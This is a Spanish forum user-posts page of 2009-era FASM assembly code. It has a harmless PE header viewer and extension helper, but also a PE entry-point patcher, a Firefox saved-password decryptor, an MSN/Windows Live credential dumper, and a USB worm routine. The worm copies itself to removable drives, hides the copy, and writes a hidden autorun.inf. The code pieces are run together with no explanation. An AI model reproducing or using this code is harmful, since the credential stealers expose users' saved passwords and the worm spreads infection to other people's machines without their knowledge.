Cita de: Pein en 1 Junio 2009, 19:38 PMPor una estupides que yo hice
Porque no es chincheta?
Saludos!

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Pein en 1 Junio 2009, 19:38 PMPor una estupides que yo hice
Porque no es chincheta?
Saludos!
format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0 ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db ' ===================================',13,10 ; LOGO PRINCIPAL
db ' = PE visor by YST =',13,10
db ' ===================================',13,10,0
LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL
db ' = General =',13,10
db ' ===================================',13,10,0
LogoSecciones db ' ===================================',13,10
db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES
db ' ===================================',13,10,0
LogoExport db ' ===================================',13,10
db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data
db ' ===================================',13,10,0
LogoImport db ' ===================================',13,10
db ' = Import data =',13,10 ;LOGO DE INFO DE el import data
db ' ===================================',13,10,0
FHandle dd ? ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo ;Imprimimos el logo
invoke printf,Espacio ;Ponemos dos nuevas lineas.
invoke printf,Espacio
invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo
invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0 ; Si hay error
invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
invoke printf,RutaArchivo
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax ; Guardamos el MZ en FHandle
.else ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader
.else ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.
add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"Subsystem: " ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h ;SI es GUI
invoke printf,"Windows GUI" ; Imprimimos Windows GUI
.else ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI" ; Imprimimos Windows CUI
.endif ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx.
invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx ;Les restamos uno a ebx
mov eax,28h ;Hacemos que eax sea igual a $28
mul ebx ;Multiplicamos ebx
add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax ;Guardamos eax en edi
invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
invoke printf,Espacio ; Pasamos a la siguiente linea
cmp ebx,0
jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
.if dword[esi+078h] = 0 ; Si no hay export data
invoke printf,"[+]No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea. +
mov edi,dword[ebx+20h] ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h] ;Numero de exports
invoke printf,"Funciones exportadas: "
invoke printf,Espacio
.bucleExportData: ;Bucle para imprimir la export data
dec ebx
mov eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"[+]%s",eax
invoke printf,Espacio
cmp ebx,0
jne .bucleExportData ;Si no se an imprimido todas seguimos
.endif
invoke printf,LogoImport
invoke printf,Espacio
invoke printf,Espacio
mov eax,[PunteroPEheader]
.if dword[eax+80h] = NULL ;Si no importamos ninguna funcion.
invoke printf,"[+]No importa ninguna funcion."
.else;De lo contrario
stdcall Sacaimport,[FHandle]
.endif
invoke system,"pause"
invoke ExitProcess,0
proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
proc Sacaimport ,handle
locals
Export dd ?
endl
pushad
mov eax,[handle]
mov ebx,dword[eax+03ch]
add ebx,eax
mov ebx,dword[ebx+80h]
add ebx,eax
mov [Export],ebx
.buclelib:
mov ebx,[Export]
mov edi,dword[ebx+0ch]
cmp edi,0
je .salir
add edi,[handle]
invoke printf,"- Funciones de %s: ",edi
invoke printf,"%s",Espacio
xor esi,esi
mov esi,dword[ebx]
add esi,[handle]
mov edi,esi
xor ebx,ebx
.bucleapi:
xor esi,esi
mov esi,dword[edi+ebx]
cmp esi,0
je .otralib
add esi,[handle]
add esi,2h
invoke printf," [*]%s",esi
invoke printf,"%s",Espacio
add ebx,04h
jmp .bucleapi
.otralib:
add [Export] ,14h
jmp .buclelib
.salir:
popad
ret
endp
.end start
section '.reloc' fixups data discardable
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0
proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax ;Guardamos el handle
invoke GetFileSize, eax, 0 ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0 ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle] ;Cerramos el handle
cmp eax,NULL
je .error
mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error
add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error
xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax ;Cambiamos el EP
invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle], eax
;Escibimos el archivo
invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
; "Cerramos" el archivo
invoke CloseHandle,[Handle]
cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start
format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data
struct TSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
url dd ?
valor dd ?
lvLibs0 dd ?
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
db ' =====================================================',13,10,0
URL dd ?
Campo dd ?
tsec TSECItem
tSecDec TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"
stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
stdcall Zerar,sFFPath,MAX_PATH
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"
invoke CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke GetFileSize, eax, 0
mov [tamAr], eax
invoke GlobalAlloc, GPTR, eax
mov [IB], eax
invoke ReadFile, [hFile], [IB], [tamAr], bUsados, 0
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2 ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2 ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
mov [lKeySlot],eax
.if eax <> 0
invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0, tsec, [valor], [Campo]
invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0
proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable
Espacio equ 13,10
format pe console
include 'win32ax.inc'
entry start
.data
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el msn 0.1v by YST =',13,10
db ' =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
tBlobOut DATA_BLOB
tBlobIn DATA_BLOB
lmem dd ?
acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0
invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]
mov [tBlobIn.cbData],edx
mov [tBlobIn.pbData] ,esi
invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
.if [tBlobIn.cbData] = 0
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
.else
invoke LocalAlloc,GPTR,[tBlobIn.cbData];
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
invoke printf,"%s","Mail: "
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif
.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif
.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
include 'api/kernel32.inc'
import crypt32,CryptUnprotectData,"CryptUnprotectData"
import advapi32,\
CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
section '.reloc' fixups data discardable
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0
BufferUnidades rb 31
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad
invoke GlobalAlloc,GPTR,MAX_PATH
mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
stdcall ConseguirNombre,[Miruta]
mov [Minombre],eax
.infinito:
invoke SleepEx,1000,FALSE
stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
mov ebx,BufferUnidades
.bucleDetectaExtraible:
invoke GetDriveTypeA,ebx
.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE
invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
;SetFileAttributes
invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiAutorun] ,eax
invoke GlobalAlloc,GPTR,MAX_PATH
mov [RutaAutorun],eax
stdcall Concat,Autorun,[Minombre], [MiAutorun]
stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [handleCreado], eax
invoke lstrlenA,[MiAutorun]
mov [tamaño],eax
invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
invoke CloseHandle, [handleCreado]
invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]
invoke GlobalFree,[RutaAutorun]
.endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif
.if byte[ebx] = 0
invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp .bucleDetectaExtraible
.endif
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
push esi edi
mov edi,[cBuffer]
mov esi,[cCadena1]
.bucle1:
movsb
cmp word[esi],0
jne .bucle1
inc edi
mov esi,[cCadena2]
.bucle2:
movsb
cmp word[esi],0
jne .bucle2
pop edi esi
ret
endp